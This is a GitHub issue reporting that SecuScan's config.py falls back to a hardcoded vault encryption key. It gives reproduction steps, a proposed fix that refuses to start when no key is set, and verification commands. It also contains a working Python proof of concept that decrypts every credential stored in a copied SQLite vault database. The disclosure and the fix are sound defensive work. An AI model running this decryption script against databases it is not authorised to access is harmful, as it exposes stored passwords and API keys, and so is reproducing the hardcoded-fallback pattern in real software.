Skip to content

[Security] Hardcoded Vault Encryption Key "secuscan-dev-key" — All Stored Credentials Decryptable Offline #200

@advikdivekar

Description

@advikdivekar

Description

A CRITICAL security vulnerability exists in backend/secuscan/config.py at line 94. The resolved_vault_key property falls back to the hardcoded string "secuscan-dev-key" when neither SECUSCAN_VAULT_KEY nor SECUSCAN_PLUGIN_SIGNATURE_KEY is configured — which is the default state for every fresh installation. Because this key is published in the open-source repository, any attacker who obtains the SQLite database file can decrypt all vault contents offline using a standard-library-only Python script.

# config.py line 94 — the vulnerable fallback
seed = self.vault_key or self.plugin_signature_key or "secuscan-dev-key"

Impact

All credentials stored in the vault (API keys, tokens, passwords for tools like Shodan, Censys, cloud providers, SMTP, VPNs) are instantly decryptable offline — no brute force, no GPU, no dictionary attack. The attacker only needs the database file, which lives at the predictable default path backend/data/secuscan.db and is reachable via LAN file share, backup leak, or Docker volume misconfiguration.

Proof-of-concept offline decryption (stdlib only):

import base64, hashlib, sqlite3
from itertools import cycle

key = base64.urlsafe_b64encode(hashlib.sha256(b"secuscan-dev-key").digest())

conn = sqlite3.connect("secuscan.db")
for name, enc in conn.execute("SELECT name, encrypted_value FROM credential_vault"):
    blob = base64.urlsafe_b64decode(enc)
    nonce, ct = blob[:16], blob[48:]
    sk = hashlib.sha256(key + nonce).digest()
    print(name, bytes(b ^ k for b, k in zip(ct, cycle(sk))).decode())

Steps to Reproduce

  1. Start SecuScan with no SECUSCAN_VAULT_KEY set (default install).
  2. Store a credential: PUT /api/v1/vault/aws-key with {"value": "AKIAIOSFODNN7EXAMPLE"}.
  3. Copy backend/data/secuscan.db to any machine.
  4. Run the PoC script above against the copied database.
  5. Observed result: plaintext credential printed instantly, zero cracking required.

Expected Behaviour

The application must refuse to start if no vault key is configured. There must be no hardcoded fallback key of any kind — the source code being public means any fallback is immediately a known-plaintext attack.

Proposed Fix

Remove the hardcoded fallback. Raise RuntimeError at startup if no key is provided.

# backend/secuscan/config.py — replace resolved_vault_key (line 92–96)
@property
def resolved_vault_key(self) -> bytes:
    seed = self.vault_key or self.plugin_signature_key
    if not seed:
        raise RuntimeError(
            "SECUSCAN_VAULT_KEY is not set. "
            "Generate one with: python -c \"import secrets; print(secrets.token_hex(32))\" "
            "and add it to your .env file before starting the server."
        )
    digest = hashlib.sha256(seed.encode("utf-8")).digest()
    return base64.urlsafe_b64encode(digest)

Update .env.example to mark it required:

# REQUIRED — generate with: python -c "import secrets; print(secrets.token_hex(32))"
SECUSCAN_VAULT_KEY=replace-with-a-stable-local-secret

Files Affected

  • backend/secuscan/config.py
  • backend/secuscan/vault.py
  • .env.example

Verification

# No vault key set — must fail at startup with clear error, not silently start
unset SECUSCAN_VAULT_KEY && unset SECUSCAN_PLUGIN_SIGNATURE_KEY
python -m uvicorn backend.secuscan.main:app --host 127.0.0.1 --port 8000
# Expected: RuntimeError printed, process exits — NOT "Ready to serve"

# With key set — vault round-trip must work correctly
SECUSCAN_VAULT_KEY=testkeyabcdef1234 python -m uvicorn ...

Labels

type:security level:advanced gssoc:approved


Please assign this issue to me under GSSoC 2026. I will open a PR with a complete fix covering all affected files, proper test coverage, and verification steps.

Metadata

Metadata

Assignees

Labels

area:backendBackend API, database, or service workarea:securitySecurity-sensitive implementation or testslevel:critical80 pts difficulty label for critical or high-impact PRspriority:highHigh-priority issuetype:securitySecurity work category bonus label

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions